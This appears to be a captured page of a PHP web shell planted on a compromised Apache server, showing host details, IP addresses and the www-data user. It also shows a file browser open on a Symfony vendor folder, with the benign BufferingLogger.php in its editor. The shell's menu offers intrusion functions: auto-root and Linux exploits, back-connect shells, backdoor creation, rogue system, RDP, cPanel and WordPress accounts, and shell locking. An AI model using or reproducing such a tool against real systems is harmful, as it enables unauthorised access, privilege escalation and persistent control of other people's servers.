Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 18.222.47.31
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lionsclub /
core /
vendor /
symfony /
error-handler /
[ HOME SHELL ]
Name
Size
Permission
Action
Error
[ DIR ]
drwxr-xr-x
ErrorEnhancer
[ DIR ]
drwxr-xr-x
ErrorRenderer
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Resources
[ DIR ]
drwxr-xr-x
BufferingLogger.php
1.96
KB
-rw-r--r--
CHANGELOG.md
424
B
-rw-r--r--
Debug.php
1.08
KB
-rw-r--r--
DebugClassLoader.php
41.17
KB
-rw-r--r--
ErrorHandler.php
28.58
KB
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
README.md
1.31
KB
-rw-r--r--
ThrowableUtils.php
730
B
-rw-r--r--
composer.json
985
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : BufferingLogger.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\ErrorHandler; use Psr\Log\AbstractLogger; /** * A buffering logger that stacks logs for later. * * @author Nicolas Grekas <p@tchwork.com> */ class BufferingLogger extends AbstractLogger { private $logs = []; public function log($level, $message, array $context = []): void { $this->logs[] = [$level, $message, $context]; } public function cleanLogs(): array { $logs = $this->logs; $this->logs = []; return $logs; } public function __sleep() { throw new \BadMethodCallException('Cannot serialize '.__CLASS__); } public function __wakeup() { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } public function __destruct() { foreach ($this->logs as [$level, $message, $context]) { if (false !== strpos($message, '{')) { foreach ($context as $key => $val) { if (null === $val || is_scalar($val) || (\is_object($val) && \is_callable([$val, '__toString']))) { $message = str_replace("{{$key}}", $val, $message); } elseif ($val instanceof \DateTimeInterface) { $message = str_replace("{{$key}}", $val->format(\DateTime::RFC3339), $message); } elseif (\is_object($val)) { $message = str_replace("{{$key}}", '[object '.\get_class($val).']', $message); } else { $message = str_replace("{{$key}}", '['.\gettype($val).']', $message); } } } error_log(sprintf('%s [%s] %s', date(\DateTime::RFC3339), $level, $message)); } } }
Close